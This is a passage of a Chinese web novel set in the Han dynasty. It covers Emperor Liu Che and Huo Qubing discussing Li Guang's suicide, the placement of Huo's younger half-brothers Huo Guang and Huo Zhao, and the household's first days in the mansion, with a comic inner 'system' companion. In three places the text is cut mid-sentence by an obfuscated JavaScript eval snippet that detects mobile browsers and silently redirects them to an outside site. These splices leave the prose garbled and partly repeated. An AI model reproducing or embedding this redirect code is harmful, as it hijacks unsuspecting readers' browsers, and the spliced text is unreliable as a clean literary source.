如果当时领兵的是霍去病,呵,他的冠军侯更是有魄力当场让匈奴兵对匈奴可汗倒戈相向。 结果呢,三十万大军严阵以待,领军主将没想过计划失败要如何应对,分统诸军的将领更是一个敢主动出击的都没有,就这么眼睁睁的看着匈奴主力撤回草原。 他承认他他也有错,他把战事想的太简单了,可他当时年轻气盛没经验,带兵的将领也都没经验? 刘彻思来想去琢磨了很久,最终琢磨出一个原因。 早年大汉和匈奴开战以守为主,当朝名将抵御匈奴各有各的绝活儿,但让他们主动出击就不太行了,要打匈奴还是得培养年轻人。 幸好他反应的及时从身边挖出了卫青和霍去病这俩奇才,要是继续重用那群老将,大汉还不知道要被匈奴欺负成什么样儿。 所以这次出兵远征匈奴主力他没打算让李广去,老将军都六十多了,年轻时再怎么勇武到这个年纪也该歇歇了,而且他这些年每次出征都有各种各样的意外导致功败垂成,谁敢保证这次不会再有意外? 奈何老将军舍了颜面再三请求随行,他没办法只能同意他出任前将军。 意料之中,老将军又双叒迷路了。 就…… 还好他提前和卫青打了招呼,要是让李广带兵去打匈奴单于,别说包抄单于大帐,他可能连单于大帐在哪儿都找不着。 刘彻捏捏眉心,想到这里就忍不住叹气,“李广的遗言说他这辈子和匈奴大大小小七十余战,好不容易有机会去和匈奴单于决一死战,却被调去侧翼绕远路导致迷失方向错失良机,他已经那么大年纪了不想再受刀笔吏的侮辱,然后就拔刀自刎了。” 霍去病:??? “他迷路他还有理由了?绕远路是他迷失方向的理由吗?”从来没在行军途中迷过路的骠骑将军面容冷峻,当场拿出舆图和天子对峙,“陛下,舅舅这次是怎么安排的?李广走的是哪条路线?” 竟是连“老将军”都不愿意叫了。 打仗的时候迷路失期本来就要问罪,那是军法,是朝廷的规矩,又不是针对李广一个人,李广这般作态是什么意思? 因为路远所以迷路失期,言下之意就是舅舅把他逼死的?他在军中受到了不公平的对待,不得不以死鸣冤? 刘彻头疼的也是这个,老将军气愤之下一死了之,他们家仲卿在军中左右为难。 打仗时迷路失期要问罪,别的不说,老将军自己就不止一次因此受罚,仲卿身为主将必须得查明失期缘由才好给全军一个交代。 可现在老将军已经自尽谢罪,倒霉催的仲卿又要被看不惯他的人诋毁说逼死同僚,再追问下去只会被骂的更狠。 问也不是不问也不是,怎么做都逃不掉被李广的拥趸臭骂的下场。 “中军由你舅舅亲自率领,自定襄出发往西北走,李广的军队调至右方和赵食其合军,单看路线的话确实绕远了些。”刘彻走过去在舆图上点了两下,眸光沉沉,“但是话又说回来,李老将军这些年作战多次失误,追击单于本部这种天大的事情谁敢让他打头阵?” 此战关乎大汉国运,早在大军出发之前他就叮嘱过不要给李广安排太过重要的任务。 运气这种事情很玄乎,显然李老将军就属于运气不太好的那类人,他不敢在战事上冒险。 “……”霍去病沉默,他不傻,当然能听出来天子的言下之意是什么。 不让李广当先锋是天子的意思,也就是说,舅舅这是替天子挨骂。 但是那又如何? 骠骑将军冷哼一声,“即便没有陛下的命令,李广也不能如此刁难舅舅。” 打仗时将领的调动非常灵活,他和舅舅能临时调换方向,舅舅之前打仗也时常有将两军合为一军的安排,这都是正常调动,怎么到李广嘴里就成了刻意针对? 现在是舅舅运气好率领中军找到了单于本部,万一他们得到的消息有误,单于大帐其实在东路军的方向,看李广还…… 哦,东路军的李广和赵食其都迷路了,就算单于大帐在他们要去的方向他们也不一定能遇着。 刘彻哑然。 话说的很有道理,就是太扎心。 总之就是,现在事情已经发生了,死者为大,不管接下来发生什么他们得有点心理准备。 骠骑将军得胜归来满城欢庆,大将军班师回朝长安百姓也是夹道相迎,但朝堂上大概率会有人借此生事。 他可以保证他肯定向着他的大将军,但卫家这边也得稳住,千万别再不小心掉进有心人的圈套之中。 尤其是年轻气盛的骠骑将军,生父的风波才过去没多久,天知道后面还有什么手段等着。 不怕聪明人算计,就怕蠢人灵机一动。 说到这里,皇帝陛下抬眸问道,“那两个小孩儿你打算怎么安排?” “阿光很聪明,性子也稳重,我打算让他去太学读几年书,然后再做打算。”霍去病看了眼外面,语气有些迟疑,“至于阿昭……那小子也很聪明,习武天赋也好,还得再给他找个武师傅。” 臭小子年纪太小不能去太学,不过他和霍仲孺不一样,他能给弟弟单独请先生教导。 刘彻压低声音,“真当弟弟养?” 这小子和生父那边毫无感情,这次有牵连也是被蠢人算计,就算他把俩弟弟带到长安的本意是让霍仲孺父子不得相见他都能理解。 如果只是带回来走个过场,随便找个院子让他们住着就行,完全不用操心那俩小子的将来。 现在这又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021325|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读书又是找武师傅的,感觉像是真的要把两个弟弟都培养成才。 他向来不肯吃亏的冠军侯真的不在意被人算计到父子相认?真的愿意把霍家那俩小子当亲弟弟来相处? 霍去病叹息,“陛下,我已经二十多岁了,不至于拿两个小孩儿出气。” 他是成熟稳重的大人,陛下也知道他向来不肯吃亏,要出气的话直接在平阳就出了,用不着这么迂回。 明面上的蠢货已经被发配边郡,藏在暗处的罪魁祸首他还不知道是谁,不过有陛下在应该也不用他操心这个。 得罪他的是那些给他下圈套的人又不是霍家,和霍家人相处起来也没感觉有什么不舒服,他为什么要和霍家过不去? 刘彻:…… 那什么,他是长辈,只要霍去病不在意,他更不会为难两个小孩儿。 大的那个刚才没怎么注意,只记得是个文静的小孩儿,不过小的那个第一次面见天子也没紧张到说不出话,还能把脑袋瓜里的奇思妙想完完整整的说出来,确实是个机灵的小家伙儿。 将人带回长安然后眼不见心不烦当是一种养法,用心培养又是一种养法,去病自己还是个没成家的大小伙儿哪里懂得养孩子,让他好好想想。 皇帝陛下屈起指节想了一会儿,又问道,“霍光今年多大了?” 霍去病不明所以,但还是回道,“十三岁。” “十三岁,差不多了。”刘彻直接敲定,“让他到朕身边当个郎官,不用日日点卯,平时还住在你府上就行。” 天子身边的郎官没有定数,且其中多是世家勋贵子弟,霍光既然是冠军侯认可的弟弟,自然也算得上是勋贵子弟,十三四岁到他身边当个郎官虽然有点小但也不是特别显眼。 俩孩子都刚到长安,先不用让霍光去朗署点卯,该读什么书让他继续读,等过些日子熟悉了长安城的生活再去宫里当值,还省得先去太学再从太学选拔入仕。 小的那个有点太小,那就先找师傅教导着,回头有什么合适的安排想到了再说。 天子肯亲自操心肯定比别人安排的强,霍去病也不跟他客气,直接把霍光喊过来当面道谢。 拒绝是不可能的,天子主动开口想听到的肯定不是拒绝。 平阳的事情他被算计霍仲孺也是被算计,血脉关系割不断,霍仲孺胆小怕事对他也造不成什么威胁,与其放任不管留着让人算计不如光明正大的告诉天下人霍家归他庇护。 还有就是,霍仲孺胆小怕事不堪大用,两个小的却都没随爹,假以时日长大成才对他而言也是助力。 霍去病自幼在天子身边长大,天子也比他更清楚卫氏在朝堂上的处境,因此心里想什么就说什么,直接在天子面前说的明明白白总比让天子回去自己琢磨强。 显然,天子就吃他这套。 不多时,霍光被喊过来领命谢恩,直到听完任命都没有反应过来。 家中父亲只是个小吏,在兄长到平阳之前他一直以为他也会在各个城池的县衙里忙忙碌碌度过此生。 路上阿兄说的明明是让他去太学好好学习,学出名堂之后再做其他安排,怎么太学还没进就直接当上官了? 这是个什么章程? 18.第 18 章 * 官职来的猝不及防,稳重如霍光也难免有些呆滞。 大汉的官和吏是截然不同的两种身份,地方胥吏辛辛苦苦干一辈子也未必能当上最基层的官,上来就到天子身边当郎官对他来说无异于一步登天。 预想中的进京后去太学埋头苦读不复存在,没有辛苦求学也没有挤破头的争抢,只是见了陛下一面他就是官身了,这是在做梦吗? 霍光谢过恩就傻傻的看着天子身旁的兄长,霍去病也不由回望过去。 怎么了?还有什么问题? 兄弟俩相顾无言,看的旁边的皇帝陛下也跟着摸不着头脑,“还有什么不明白的吗?” 不是说这小孩儿很聪明?刚才瞧着的确不错,怎么这会儿看着又有点傻乎乎? 霍光骤然惊醒,连忙表示没有什么不明白的地方。 “行,那事情就这么定了。”刘彻起身往外走,“今天先到这儿,任命诏书朕待会儿命人送过来,你们也别着急,朕身边不缺郎官。” 郎官是天子近臣,也是勋贵子弟入仕的跳板。 不过他身边随侍的心腹重臣很多,平时也不怎么宣召那群年轻没定性的郎官,所以郎官进宫当值也没什么正经事情要忙。 出征的两路大军已经回来一路,另一路也很快就抵达长安,仗打完了不代表烦心事儿就没了,朝中还有很多事情需要他拿主意,实在没法在外面待太久。 天生喜欢出门玩的皇帝陛下叹了口气,只能安慰自己忙完这一阵就好了。 这一仗打的耗空了大汉的国库,大汉短时间内没法再组织大军北上,匈奴也没能力再挥师南下,至少三五年内不用担心外患。 他们解决了大汉建国以来最大的外患,今后有的是空闲出门游玩。 霍去病抱拳应道,“陛下放心,臣定会好好教导阿光。” 刘彻拍拍他的肩膀,“不用送了,你先逛逛你这冠军侯府,有什么不合心的就说,朕自己走。” 说是不用送,但是该送还是得送。 兄弟俩将天子送走,回过神来对视一眼,看上去好像还想继续相顾无言。 好在霍光不是什么话都藏在心里的性子,刚才天子在场不好开口,现在只剩下他们俩自然能问,“阿兄,我直接去陛下身边做官会不会不太好?” 当官要有才学,他年纪小又毫无建树,这么被提拔到天子身边肯定会有人看不顺眼。 他不怕被人私下里说闲话,他怕因此导致兄长被人诟病。 霍去病淡定回道,“舅舅当年被任命为车骑将军之前并无军功,我被任命为嫖姚校尉时年纪也不大,可当年四路大军只有舅舅一路凯旋,我第一次统兵也是功冠全军,自那之后便再没有人敢当着我们的面说三道四。” 流言蜚语而已,听得多了就不在意了。 他们的身份注定要受人诟病,俩弟弟初来乍到还不习惯,在长安城多待两年就能和他一样听到什么都不在乎。 “让你当郎官的事情是陛下提出来的,陛下说什么就是什么,旁人有意见让他们找陛下说去。”自认为历经风浪稳如泰山的骠骑将军语重心长的给弟弟传授经验,“我会请人教你郎官需要注意的事情,过些天去宫里当值也不用怕,就算同为郎官的那些家伙看你不顺眼他们也不敢当着你的面说什么。” 只要没当场让他撞上,他就能当做事情没有发生过。 没办法,有些事情就没法讲道理。 他和舅舅立下那么多军功,但是在某些人眼里他们依旧是靠外戚的身份才有如今的显贵, 兄长是靠外戚的身份才显贵,俩弟弟来了就是靠身为外戚的兄长才能在天子面前露脸,在那些人看来全都是上不得台面的手段。 好在他和舅舅的军功都是实打实的,那些欺软怕硬的家伙如今不敢再和以前一样狺狺狂吠,倒也不用担心当值的时候被人使绊子。 他弟初来乍到不敢惹事,他舅舅脾气好什么事情都不放在心上,但他霍去病可容不得宵小挑衅到跟前。 可靠的兄长安慰了弟弟几句,然后又问道,“阿昭呢?他刚才在干什么?” 霍光压下心中不安,指指后院,“阿昭和宜春侯在凉亭里说话。” “说话?说什么?还是扭秧歌?”霍去病抬手扶额,不敢想俩小子凑到一起能编排出多少不存在的事情,“走,去听听。” 此时的后院凉亭,霍昭和卫伉还真没编排什么。 这是霍昭第一次出远门,来到长安后看什么都新鲜,卫伉自小在长安长大,对长安城熟悉的不能再熟悉。 方才霍昭讲了路上发生的趣事儿,现在便轮到了卫伉来讲长安城里好玩的地方。 身为大将军的儿子,他的课业并不轻松,除了文化课外还要学骑射学兵法,空闲的时候并不多,但也不是完全没有玩乐的时间。 比起城里,他更喜欢去城外游猎,打兔子射鹿可好玩儿了。 他们家是靠军功在京城站稳脚跟的,俩弟弟到长安后肯定也得学兵法骑射,就是不知道表兄会怎么安排。 霍昭听的两眼亮晶晶,好好好,怎么教都没关系,谁来教都行,只要能把武器发到他手里就行。 有道是穷文富武,读书人读书条件差点也能读,习武之人条件差那是一点儿都学不了。 长身体要吃饱吃好,弓箭刀枪也都是消耗品,处处都是花钱的地方。 在军队里看上去条件会好一点儿,可一旦朝廷断了他们的军饷粮草,那真是能穷到裤腰带都得解下来煮着吃。 没钱很难练武,真的很难。 系统闲着没事儿干,在识海空间里慢悠悠的转圈圈,没收到邀请也硬要加入聊天,【汉代不一样,汉代想读书也不能穷,竹简是贵重物品,没点家底根本读不起正经的书。】 这年头知识是被垄断的,当然,它说的不是小学教的那些四时六十甲子,那些属于常识,它说的是儒道等各家典籍,那都是能成为传家宝的东西。 书简传播靠抄写,汉代很大一部分书都是个人私藏不外传,就算运气好碰到本能抄的书,抄写过程中出现个错别字什么的也不好说,所以最最贵重的还是原版。 史上多的是谁谁谁遇到没见过的书简愿用良田奴仆来换的故事,但明目张胆典卖祖宗留下的书简的事情却不常见。 祖上阔过的人家都要脸,就算走投无路要卖书也得找个好听的名头遮掩一番,比如说“赠书”。 读书人的事情怎么能说是“卖”呢。 系统仙人摇头晃脑,【霍昭昭同学,回字有四样写法,你知道吗?】 霍昭:??? 系统仙人喝多了吗?还是日头太大晒中暑了?怎么开始说胡话了? 这边驴唇不对马嘴的说着,那边霍去病和霍光也找过来了。 卫伉说了半晌嗓子都干了,停下之后第一件事就是倒杯水润润嗓子,“表兄,陛下走了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027623|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “刚走。”霍去病点头回了一句,然后问道,“你们在这里说什么呢?” “我在给阿昭讲他每日要学些什么。”卫伉眨眨眼睛,“阿昭和不疑差不多大,这个年纪肯定要上学,表兄想好是让阿昭去我家还是让不疑来你这里了吗?” 他比弟弟们大,已经不用被师傅盯着训练,阿光应该也差不多,幼弟卫登又太小,还没到能学骑射的年纪,家里就俩年纪相仿的小孩儿,总不能还分开教吧? 别说什么表兄对带回来的两个弟弟不上心,以他们家表兄的性子,真不上心的话压根就不会将人带回来。 他到冠军侯府后说的这么多话也不是白说的,霍光比较谨慎,话也不多,小的这个简直比俩哥哥加起来还能说,和表兄走了一路还能这么活泼说明表兄根本没拘着他。 这还说什么?好好处呗。 人多力量大,家和万事兴,他完全不介意家里再多一群弟弟。 霍去病想了想,若有所思的点点头,“也行。” 冠军侯府和大将军府离的不远,他有正经事情要忙,没法天天看着小孩儿,让小家伙和表弟一起学也能有个照应,还省得他再琢磨去哪里请师傅。 霍昭乖乖的站在原地,任由兄长大人把他安排的明明白白。 哦,他哥也被安排的明明白白。 进京第一天,他亲爱的哥哥从白身摇身变成郎官,真是可喜可贺。 就是哥哥看上去压力有点大,回来后表情就一直很沉重,不像是当官更像是被撸了差事。 “天色不早了,先吃晚饭,然后再看阿光阿昭住哪个院子。”霍去病招呼仨弟弟跟他走,“阿伉今晚走吗?” “要走的。”卫伉连忙回道。 家里的俩弟弟还等着他打探消息回去汇报,他得赶在宵禁之前回去,不然天黑之前表兄就会发现家门口又长出来两个表弟。 霍去病也没开口留,简单吃了顿饭就让人把卫伉送回家,他还有话要对两个弟弟说。 俩弟弟来到长安少不了和长安城里的勋贵子弟打交道,路上他还想着没什么要紧,可现在出了李广这档子事儿,李家子弟大概率会迁怒到他两个弟弟身上。 李广的事情舅舅是按规矩行事本就没有错,他得让俩弟弟知道虽然他们是刚到长安城,但也不是毫无根基任人欺负的小可怜。 舅舅就是脾气太好了,所以才被人蹬鼻子上脸的欺负。 俩弟弟认认真真的听训话,“阿兄放心,我们明白的。” 话说的异口同声,实际上一个是想着今后要更加谨言慎行,一个是想的来一个打一个来两个打一双。 【噗嗤~】系统听着骠骑将军操心他的大将军舅舅忍不住笑出了声。 霍昭发出不知道第多少个疑问,【系统仙人,又怎么了?】 【没什么,只是想到了好笑的事情。】系统乐的不行,【刚才凑巧看到了后世的小天才说的一段话,老实本分的卫青幼年不堪忍受父家奴役离家出走投奔母亲,战战兢兢的当上了大将军,普普通通的火烧龙城,规规矩矩的给王夫人送金,千篇一律的反复搜刮匈奴人的地皮,安分守己的接受群臣跪拜,如履薄冰的嫁给了公主,最后沉默寡言的埋进了和汉高祖坟头差不多高的封土。】【1】 老实人卫青过完了他谨小慎微的一生。 它受过严格的训练,无论多好笑它都不会笑,除非忍不住。 哈哈哈哈哈哈哈哈哈哈哈。 19.第 19 章 * “谨小慎微如履薄冰”的卫大将军并不知道家里的外甥为他操碎了心,他这路兵马遇到了伊稚斜单于的主力却又让单于逃脱,虽说击溃了匈奴主力,但损失也相当严重。 惨胜如败,再加上李广老将军当众自尽,大将军的心情实在好不起来。 而已经回到长安还得了座新宅邸的外甥却没那么多烦恼,兵来将挡水来土掩,他们是打了胜仗回来的,没道理仗打赢了回京还要受欺负。 窝在霍昭识海里的系统也没有烦恼,非但没有烦恼,它甚至已经快乐的找不着北。 后世人对卫青有滤镜也就算了,怎么亲外甥也觉得自家大权在握的舅舅是个谁来都能踹一脚的小可怜? 好脾气和好欺负真的是两个概念哈哈哈哈哈哈哈哈。 然后它就发现它亲爱的宿主真的信了。 不光宿主信了,连将来的权臣哥也对长兄的说辞深信不疑,一圈看下来兄弟三个竟然全都真情实感的认为当朝大将军好欺负。 系统:??? 不是,你们来真的啊? 系统仙人精神恍惚,权臣哥刚到长安没见过卫大将军什么都信可以理解,可宿主这些天跟着它看了那么多纪录片,那么多纪录片都白看了不成? 那可是功劳大到连襁褓中的儿子都能恩荫封侯的卫青卫大将军,汉代封侯有多难看李广就知道了。 卫大将军自己是万户侯,三个儿子也都是列侯,一家四个侯用的全是他一个人的军功。 霍去病!冠军侯!骠骑将军!你睁开眼睛,你舅舅他杀的匈奴大单于只带几百残兵逃的头也不敢回,他不是真的战战兢兢如临深渊如履薄冰啊。 霍昭昭!小傻蛋!你好好想想这些天看过的纪录片,茂陵三宝生前感情好的不得了,卫青是手握实权的大将军,不是什么柔弱可欺的小可怜。 它用的可是评分最高的教育方案,到底哪里出了问题? 脑海中的笑声戛然而止,已经熟练掌握一心二用技能的霍昭疑惑问道,【大将军谨小慎微的过完了他的一生,然后呢?】 这句话有什么好笑的吗?系统仙人怎么笑着笑着又不笑了? 搞不懂。 备受打击的系统强颜欢笑,【没什么,就是又想到了伤心的事情。】 它受过严格的训练,无论多好哭它都不会哭,除非忍不住。 呜呜呜呜呜呜呜呜呜呜呜呜呜。 霍昭已经习惯了他们家系统仙人不太稳定的精神状态,正好上座的兄长要叮嘱的话也说完了,接下来便是专心吃饭。 小家伙满眼期待的等着饭菜端上来,冠军侯府比他们在平阳城的宅子大的多的多,这是真正的权贵宅邸,庖厨准备的饭菜肯定更加美味。 婢女井然有序进来将饭菜摆好,霍去病看了眼满满当当的食案,让人把小家伙面前的羊腿撤了,然后从自己手边的羊腿上切下来一小块换上去。 路上这几天同吃同住让他发现了不少小细节,臭小子吃饭很香,连带着身边人也会不由自主的多吃,可这小子好像对食物有执念,别管好不好吃,给他多少他就吃多少,吃撑了也要吃。 如果不是确定霍家在他路过平阳之前过的很殷实,他都以为老霍没本事养家导致俩孩子时常挨饿才连饭都抢着吃。 第一次看到霍光在饭前调换餐盘的时候他还没在意,后来发现每次用饭都会出现这么一幕,就趁饭后问了霍光到底是怎么回事。 问了才知道不是老霍的问题,单纯就是小家伙见不得面前有剩饭,从小到大都是这样,所以每次霍光看到食案上的饭菜超过他的食量就会先端走一部分。 吃撑了不会吭声,吃不饱却会自己添饭,实在让人不知道该怎么说他好。 几天下来霍去病也摸清了傻弟弟的饭量,今天是刚住进冠军侯府哪儿都不熟悉,待会儿吃完就去和庖厨说一声,免得哪天他和霍光都不在家再把傻小子给撑坏了。 但是话又说回来,霍仲孺真的没饿着过小儿子吗? 今天的骠骑将军也很疑惑。 晚饭结束,天还没完全黑下来,霍去病带着俩弟弟逛府邸顺带着消食,逛完之后让俩人想住哪里自己挑。 他还没成家,目前也没有成家的打算,府上就他们兄弟三个常住,除了主院想住哪儿都没问题。 霍昭昭眨巴着大眼睛,“可不可以……” 霍去病瞥了他一眼,紧急补充,“阿光需要单独的书房,你们两个不可以住在一起。” 男孩子长大了需要单独的空间,阿光要学的东西也多,俩小子住在一起肯定互相耽误,府上又不是没有住的地方,没必要挤在一起。 “好吧。”霍昭遗憾的将没来得及收回来的话收回肚子里。 霍去病狐疑的看了眼离不开兄长的小家伙,有秘密的小孩儿不应该想方设法掩人耳目吗?这么黏人真的能藏住秘密? 能瞒住霍仲孺很正常,老霍看上去就很好糊弄,但是阿光敏锐的很,傻小子天天围着兄长转不应该有什么事情能瞒过兄长才对。 可他问过霍仲孺也问过霍光,父子俩都不觉得小家伙有问题,总不能有问题的是他自己吧? 想不明白,还是想不明白。 霍昭完全没想过他们家冠军哥到现在还对他矫健的身手念念不忘,冠军侯府的院落都长的差不多,对他来说每个院子都很奢华,选了好一会儿才选中了离小池塘最近的院落。 春天已经过去,可以等到秋天再往里面放些鱼苗,这样明年就可以直接从池塘里捞鱼吃了。 “……”霍去病脚步一顿,很想戳开这小子的脑袋瓜看看里面都是什么,“你想养的话,和家丞说一声就行。” 虽然不懂臭弟弟到底在想什么,但是也没有拒绝他的奇思妙想。 这次得胜归来天子为他增封食邑五千八百户,算上前些年赐下的食邑,他这个冠军侯的食邑已经有一万七千多户。 千户侯身边就得有配套的家臣外臣,万户侯身边更是有各司其事的臣属。 外臣由朝廷任命负责到侯国主持政务,如平阳侯相,他是平阳侯国的外臣,但职位由朝廷任命,平阳侯本人做不了主。 家臣有家丞庶子之类的官职处理各项杂务,这些官按理说应该由他自己任命,不过他之前一直住在大将军府,没空也不想管这些杂事,所以冠军侯府的家臣都是天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032439|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子亲自安排的。 冠军侯坦坦荡荡问心无愧,在自家府邸也没什么见不得人的事情,对府上的家臣自然可以随意使唤。 霍昭高兴的应了一声,已经开始期待秋天的到来。 院落都是收拾好的,选好之后可以直接住。 霍光看看已经开始打哈欠的弟弟,转过身小声问道,“阿兄,可以给爹娘写信吗?” “当然可以。”霍去病拍拍额头笑了一声,继续给家丞安排活儿,“写好之后也交给家丞,他会安排人将信送去平阳。” 第一次出远门是得给家里写信报平安,不过他自从母亲再嫁后便很少再和母亲见面,倒是把这事儿给忘了。 霍昭听到这里也不困了,“我也要写我也要写,我有很多很多要写的东西,爹娘看了我写的信肯定能更睡的更加安心。” 霍去病挑了挑眉,“很多很多要写的东西?阿昭所有的字都会写?” 霍昭小脸一红,“应该都会吧。” 他是上过学的人,不至于连家书都写不出来,就算有些字他不会写,他哥在旁边也能教他写。 霍光也笑了,“阿兄放心,阿昭学东西很快,去学堂之前便在家跟我学过认字,他自己能写信。” 就是写出来的信会有很多圈圈叉叉,不过联系上下文也能看懂。 咳咳,弟弟要面子,后面的话就不用说了。 “行,你们去写信,写完信记得早点睡觉。”霍去病摆摆手让他们忙,自己也回去休息。 人不是铁打的,他连续奔波了好几个月,回到长安也得好好歇歇。 月落日升,斗转星移,一夜很快过去。 天边泛起鱼肚白,窗外里传出一阵阵虫鸣,炎热尚未来袭,是很舒服的清晨。 霍昭不认床,也没有睡懒觉的习惯,天刚亮就睁开眼睛洗漱换衣。 朝廷规定散民不服杂彩,也就是说寻常百姓只能穿麻衣,一般人家穿的是短衣长裤,贫穷人家穿的是短褐,好布料色彩鲜艳的衣裳只能高官权贵穿。 霍仲孺是小吏没资格穿好衣裳,霍昭和霍光自然也只能穿最普通的麻衣,不过到了长安就不一样了。 离开平阳时霍去病就说过长安城什么都有什么都不用准备,只需要带件路上换洗的衣裳,到长安后一切都由他来安排。 俩弟弟到府上后又备好的成衣,安顿下来还会有衣工过来量体裁衣,他是当朝唯二的万户侯,另一个万户侯是他舅舅卫青,身为他霍去病的弟弟总不能连身好衣裳都不能穿。 于是乎,霍昭昭起床看到床边的新衣裳,抖开之后来来回回看了好几遍,最终还是窘迫的求助,【系统仙人您在吗?这个衣裳我好像不会穿。】 他不是四体不勤五谷不分的小孩儿,莫说上辈子已经活了十多年,就算真的只有八岁也不至于连衣裳都不会穿。 可是他平时穿的衣裳和这件完全不一样,大汉权贵穿的和大唐权贵也不一样,这层层叠叠的他实在分不清要怎么穿。 识海空间中随时待命的系统找了个穿衣教程,看完之后也尴尬的回道,【崽,直接喊人帮忙吧。没事,你还小,没人会因为你不会穿衣裳笑话你。】 20.第 20 章 * 一身新衣裳难倒宿主系统俩,霍昭再不好意思也只能求助守在门外的婢女。 夏天的衣裳都这么难穿,到冬天了可怎么办啊? 小家伙鼓了鼓脸皱起眉头,有点感受到了乡下人进城那种手足无措的难为情。 系统也跟着唉声叹气,【没关系,一回生二回熟,穿衣服而已,多穿几次就好了,冬衣和夏衣都是衣,应该也没什么区别。】 不是它不愿意伸出援手,而是它看懂了教程也没有手能帮忙。 它只是个没有实体的系统,实在是心有余而力不足啊。 权贵家养孩子多的是衣来伸手饭来张口,莫说在权贵之家,就算是寻常百姓家里他们家崽也是自立自强的典范,现在只是刚换了个新环境不太习惯罢了。 不伤心,别难过,没谁会因为八岁的小娃娃不懂衣服怎么穿就笑话人,孩子还小呢。 系统仙人说话的同时不忘搜索西汉冬衣的样式和穿衣教程,看完教程之后嘴巴消停了一会儿,甚至有点庆幸它现在没有实体。 这衣裳到底是谁设计的?怎么这么难穿? 难怪只有权贵才穿这样的衣裳,寻常百姓天一亮就开始忙里忙外,哪儿有功夫琢磨领子怎么叠带子怎么系? 还好宿主年纪小不用束发,不然早上起来看到各种各样不同形制的发冠非得自闭不可。 还要好多年才到束发加冠年龄的小家伙蔫儿了吧唧的在婢女的帮助下换好衣裳,无精打采的结束洗漱,然后闷闷不乐的去找两位兄长一起吃早饭。 院落外面,差不多同一时间出门的霍光看到蔫儿下来的弟弟加快脚步,不太放心的摸摸他的额头,“怎么了?是没睡好还是身体不舒服?” 小家伙一路上都是精力旺盛的模样,怎么睡了一觉反而没精神了? “睡的很好,也没有不舒服。”霍昭摇摇头,委屈巴巴的原地转了个圈,“这个衣裳我不会穿……” 也不知道在委屈什么,反正就是感觉委屈,他竟然连衣裳都不会穿呜呜呜呜呜呜呜。 霍光听到这个回答松了口气,放松下来想笑又不敢笑,只能温声细气的安慰弟弟,“新衣裳是有些繁琐,阿兄刚才看到的时候也不会穿,谁都有不会的事情,这没什么。” 小孩子的想法真奇妙,他还以为发生了什么呢。 系统跟着附和,【没错没错,光哥说的对,谁都有不会的事情,我们家昭昭会主动学习,比那些四体不勤五谷不分的膏粱纨袴强多了。乖啦乖啦,没事哒。】 天呐,它竟然能夹出这么腻歪的声音,难道说它的最终归宿不是种田而是养崽? 记到小本本上,回头再转岗的话重点参考。 在霍光和系统的二重奏安慰下,霍昭昭同学终于精神了起来,就是精神起来后想起来自己刚才的举动很想找条地缝钻进去藏起来。 太丢人了,刚才那个找哥哥求安慰的小屁孩肯定不是他。 霍光轻咳两声掩饰笑意,假装没有发现弟弟的不好意思,“走吧,去找阿兄一起用饭。” 这边兄弟俩起的早,身为一家之主的冠军侯也没有赖床的习惯。 骠骑将军早上起来先在院中练了会儿剑,活动开筋骨才去洗漱换衣。 先前正赶路的时候也是这个作息,他已经习惯收拾好后就能看到两个弟弟,来到用饭的地方发现厅中空空如也还愣了一下。 什么情况?怎么连吃饭都不积极了? 兄长大人抱起手臂搓搓下巴,想着弟弟们可能是初来乍到不习惯,昨晚给远在平阳的父母写完信便难以入眠,所以早上才不约而同睡过头。 嗯,小孩子长身体贪睡很正常,今天也没有什么要紧事,不用特意将他们喊起来吃早饭。 贴心的好兄长刚想着今天的早饭要一个人吃,那边两个弟弟就结伴找过来了。 霍去病看看小脸通红的霍昭,再看看根本压不住笑容的霍光,眉梢微微扬起,“怎么了?” 霍昭如临大敌,立刻紧张的看向他哥。 好在霍光知道小孩儿要面子,被问也只是笑着回道,“阿昭刚到府上不太习惯,不慎耽搁了些时间,阿兄勿怪。” 一边说一边朝兄长眨眼睛表示这事儿得私下里才能说,不然弟弟恼羞成怒会拿头撞他。 霍去病:…… 兄长大人没再多问,只是让弟弟们入座吃饭。 大军班师回朝要忙的是天子,他暂时没什么安排,该请的功路上已经全部上报,战中损失也已经统计出结果,需要他亲自在场的事情已经处理差不多,在另一路大军回来之前连官署都不用去。 没有军务要忙,那就只剩下家事。 虽然母亲再嫁后他们就不再经常见面,但是出征那么久回到长安还是得上门拜访一下。 用过早饭,一家之主开始安排接下来的行程。 “待会儿我要出门一趟,没有意外的话午饭前会回来,稍后会有衣工到府上,你们出门玩的话也不要跑太远。” 霍昭听见“衣工”俩字立刻精神起来,系统仙人说过从哪里跌倒就要从哪里站起来,衣工是最了解衣裳形制的人,待会儿量身体的时候他可以把夏衣冬衣春秋衣全部问过来一遍儿。 